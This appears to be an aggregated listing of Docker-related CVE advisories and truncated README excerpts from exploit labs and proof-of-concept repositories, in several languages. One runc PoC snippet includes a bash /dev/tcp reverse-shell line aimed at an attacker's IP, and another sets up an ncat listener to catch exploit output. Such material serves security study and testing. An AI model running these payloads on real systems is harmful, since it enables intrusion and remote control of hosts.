AZL-106746 CVE-2026-93323 affecting package docker-buildx 0.14.0-17

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323

The Dockerfile frontend is vulnerable to a memory exhaustion attack because it loads Dockerfile and .dockerignore files into memory without a size limit. An attacker providing a build context with an oversized file can cause buildkitd to allocate proportional memory, potentially leading to a Deni...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

webmin_docker_and_exp

Docker-webmin-RCE-lab 1. CVE-2019-15107 webmin RCE पुनरावृत्ति के लिए Dockerfiles, जिसमें v1.890 और v1.920 शामिल हैं। 2. प्रत्येक संस्करण के लिए Exp। इमेज बनाएं First, clone the files Then cd webmin1.890/1.920docker docker build -t hachp1/webmin . कंटेनर चलाएं docker run -d -p 10000:10000...

log4shell-poc-lab

Log4Shell POC प्रदर्शन इस रिपॉजिटरी में एक submodule है, इसे इस प्रकार क्लोन करें: git clone --recurse-submodules [email protected]:obscuritylabs/log4shell-poc-lab.git फिर प्रदर्शन शुरू करने के लिए चलाएँ: docker compose up पीड़ित सर्वर पर एक फ़ाइल बनाने वाले exploit को देखने के लिए, चलाएँ:...

cve-2026-20896-gitea-poc

Verificador de Bypass de Autenticação Docker Gitea CVE-2026-20896 Apenas para operações autorizadas de red team / pentest. Este repositório contém um verificador mínimo para o CVE-2026-20896, um bypass de autenticação em imagens oficiais do Gitea Docker até a versão 1.26.2 quando a autenticação p...

CVE-2026-78122-POC

CVE-2026-78122 — प्रूफ ऑफ कॉन्सेप्ट Tecnativadocker-socket-proxy ≤ 0.5.0 — अपर्याप्त एक्सेस-नियंत्रण ग्रैन्युलैरिटी CWE-1220 CVSS 4.0: 8.3 उच्च — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N हमला वेक्टर एडजेसेंट आसन्न है AV:A: हमलावर को प्रॉक्सी तक लोकल/आसन्न नेटवर्क पहुँच की...

CVE-2026-58455-PoC

CVE-2026-58455 — Dockwatch RCE não autenticado bypass de autenticação + injeção de comando Prova de conceito para CVE-2026-58455 : execução remota de código não autenticada no Dockwatch da Notifiarr, uma interface web de gerenciamento de contêineres Docker auto-hospedada. Afeta todas as versões a...

cve-2019-5736-poc

Cabeçalhos a adicionar stage2.c bash include bash include Modificar para o IP do PC atacante stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Criar imagem Docker e contêiner $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp...

CVE-2023-33246-Copy

1. Aprendizado de Referência CVE-2023-33246 https://github.com/I5N0rth/CVE-2023-33246 2. Configuração do Ambiente Local 2.1 Baixar Imagens docker pull apache/rocketmq:4.9.1 docker pull apacherocketmq/rocketmq-console:2.0.0 2.2 Iniciar broker, namesrv e console Iniciar namesrv docker run -dit -p...

CVE-2025-9074-PoC

Docker API Unauthenticated RCE CVE-2025-9074 Uma vulnerabilidade crítica CVE-2025-9074 no Docker Desktop permite que contêineres Linux em execução localmente se conectem à API do Docker Engine através da sub-rede padrão 192.168.65.7:2375. O problema persiste independentemente do Enhanced Containe...

CVE-2025-32375

Configuração para a versão vulnerável. Inicie o container vulnerável: docker compose up Crie um listener por exemplo, ncat: ncat -klnv 1337 Execute o exploit: python3 exploit.py Você deve receber uma solicitação HTTP na janela do ncat com o conteúdo do comando do SO id por padrão se tudo funciona...

Exploite-CVE-2023-30212-Vulnerability

criar um ambiente Docker vulnerável que seja suscetível ao CVE-2023-30212 Descrição Docker environment and exploit the CVE-2023-30212 vulnerability. CVE-2023-30212 é uma vulnerabilidade de segurança que afeta versões do OURPHP anteriores ou iguais a 7.2.0. Esta vulnerabilidade permite ataques de...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

Plugin de API Docker Commons para Jenkins Plugin de API, que fornece a funcionalidade comum compartilhada para vários plugins relacionados ao Docker. Resumo API para gerenciar impressões digitais de imagens e contêineres Docker Credenciais e localização do Registry Docker Credenciais e localizaçã...

test-task-CVE-2024-25600

tarefa-teste-CVE-2024-25600 Repositório para a tarefa-teste de estágio. Passo 0: Clonar este repositório git git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 Passo 1: Criar contêineres Docker Iniciar o daemon Docker sudo systemctl start docker.service Iniciar os Contêineres...

android-kernel-exploitation-ashfaq-CVE-2019-2215

android-kernel-exploitation-ashfaq-CVE-2019-2215. Imagem Docker fornecida pelo usuário Robert Dan no workshop...

Log4Shell-demo

Log4Shell कार्य में यह प्रोजेक्ट यह प्रदर्शित करने के उद्देश्य से है कि Log4Shell / CVE-2021-44228 कमजोरी कैसे काम करती है। आवश्यकताएँ आपको केवल Docker इंस्टॉल होना आवश्यक है। आदर्श रूप से आपके पास दो अलग-अलग वर्चुअल मशीनें हों। एक असुरक्षित सर्वर के लिए और एक दुर्भावनापूर्ण सर्वर के लिए, जो...

poc-cve-2024-23334

poc-cve-2024-23334 Este repositório contém uma prova de conceito sobre a exploração da biblioteca aiohttp para a vulnerabilidade reportada CVE-2024-23334. Isto foi criado por dois motivos: 1. Fins educacionais: para aqueles que estão começando em segurança de aplicações, é útil ver as etapas para...